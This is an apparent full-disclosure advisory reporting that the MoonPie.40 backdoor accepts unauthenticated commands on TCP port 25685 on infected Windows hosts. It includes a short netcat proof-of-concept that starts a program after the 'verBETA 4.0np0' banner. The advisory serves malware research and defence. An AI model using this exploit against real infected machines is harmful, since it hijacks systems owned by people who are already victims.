full-disclosure - [FD] Backdoor.Win32.MoonPie.40 / Unauthenticated Remote Command Execution

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Date: Wed, 1 Sep 2021 16:00:34 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.MoonPie.40 / Unauthenticated Remote Command
	Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/Backdoor.Win32.MoonPie.40.9dbb6d56bc9a7813305883acd0f9a355_C.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.MoonPie.40
Vulnerability: Unauthenticated Remote Command Execution
Description: listens on TCP port 25685. Third-party attackers who can reach
infected systems can execute OS commands and or run arbitrary programs.
Type: PE32
MD5: 9dbb6d56bc9a7813305883acd0f9a355
Vuln ID: MVID-2021-0334
Disclosure: 09/01/2021

Exploit/PoC:
Supply the program to start after the banner "verBETA 4.0np0" using the
command like: exe"PROGRAM"

nc64.exe x.x.x.x 25685
verBETA 4.0np0exe"calc"
okmProgramm gestartet

Translated from German: "okm program started"

Disclaimer: The information contained within this advisory is supplied
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Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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